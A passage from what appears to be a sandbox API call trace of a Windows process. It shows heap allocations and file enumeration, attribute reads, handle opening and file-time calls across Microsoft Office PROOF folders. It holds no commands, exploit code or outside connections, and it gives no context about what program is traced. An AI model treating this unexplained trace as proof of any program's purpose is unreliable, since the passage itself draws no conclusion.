(HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.518] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14732f00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa45c34a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x14732f00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x43e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7FR.LEX", cAlternateFileName="")) returned 1 [0079.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11caa20 [0079.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbec8 [0079.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.519] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa20ddfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x1ee380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7EN.DLL", cAlternateFileName="")) returned 1 [0079.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.520] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2c5600, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa22cd180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e2c5600, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7EN.dub", cAlternateFileName="")) returned 1 [0079.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11caa40 [0079.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbf50 [0079.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.521] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2980600, ftCreationTime.dwHighDateTime=0x1cbae31, ftLastAccessTime.dwLowDateTime=0xa2091ce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd2980600, ftLastWriteTime.dwHighDateTime=0x1cbae31, nFileSizeHigh=0x0, nFileSizeLow=0x145e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7EN.LEX", cAlternateFileName="")) returned 1 [0079.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11caa60 [0079.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbfd8 [0079.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.522] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f4aef00, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa6ed3020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f4aef00, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x1ee380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7ES.DLL", cAlternateFileName="")) returned 1 [0079.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.522] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47b5be00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6da2520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x47b5be00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7ES.dub", cAlternateFileName="")) returned 1 [0079.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11caa80 [0079.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc060 [0079.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4e40) returned 0x11f1598 [0079.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0079.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.526] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47b5be00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6e60c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x47b5be00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x1e0600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7ES.LEX", cAlternateFileName="")) returned 1 [0079.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11caaa0 [0079.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc0e8 [0079.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.527] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e19c200, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa471a100, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e19c200, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x1ee380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7FR.DLL", cAlternateFileName="")) returned 1 [0079.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.527] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bfdd00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa4c28fc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x41bfdd00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7FR.dub", cAlternateFileName="")) returned 1 [0079.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11caac0 [0079.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc170 [0079.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.528] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42f10a00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa45e9600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x42f10a00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x1b1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7FR.LEX", cAlternateFileName="")) returned 1 [0079.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11caae0 [0079.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc1f8 [0079.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.529] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a36d00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa2176520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56a36d00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x6ef80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7EN.DLL", cAlternateFileName="")) returned 1 [0079.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.530] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa395100, ftCreationTime.dwHighDateTime=0x1cba071, ftLastAccessTime.dwLowDateTime=0xa21503c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfa395100, ftLastWriteTime.dwHighDateTime=0x1cba071, nFileSizeHigh=0x0, nFileSizeLow=0x40de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7EN.LEX", cAlternateFileName="")) returned 1 [0079.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cab00 [0079.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc280 [0079.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.531] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f18900, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x64f18900, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x6ef80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7ES.DLL", cAlternateFileName="")) returned 1 [0079.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.532] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2918c00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6f45440, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2918c00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x5b3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7ES.LEX", cAlternateFileName="")) returned 1 [0079.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cab20 [0079.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc308 [0079.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.533] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4474ff00, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa4824aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4474ff00, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x6ef80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7FR.DLL", cAlternateFileName="")) returned 1 [0079.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.534] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6a7e00, ftCreationTime.dwHighDateTime=0x1cba071, ftLastAccessTime.dwLowDateTime=0xa47fe940, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfb6a7e00, ftLastWriteTime.dwHighDateTime=0x1cba071, nFileSizeHigh=0x0, nFileSizeLow=0xc6aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7FR.LEX", cAlternateFileName="")) returned 1 [0079.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cab40 [0079.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc390 [0079.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.535] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6a7e00, ftCreationTime.dwHighDateTime=0x1cba071, ftLastAccessTime.dwLowDateTime=0xa47fe940, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfb6a7e00, ftLastWriteTime.dwHighDateTime=0x1cba071, nFileSizeHigh=0x0, nFileSizeLow=0xc6aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7FR.LEX", cAlternateFileName="")) returned 0 [0079.535] GetLastError () returned 0x12 [0079.535] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0079.536] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.536] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.536] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0079.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.536] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0079.537] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0079.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.537] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0079.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.537] NtClose (Handle=0x174) returned 0x0 [0079.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc418 [0079.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc4a0 [0079.538] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0079.538] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.538] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcf7a00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x97748b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdcf7a00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x517800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.DLL", cAlternateFileName="")) returned 1 [0079.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabc528 [0079.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabc528) returned 1 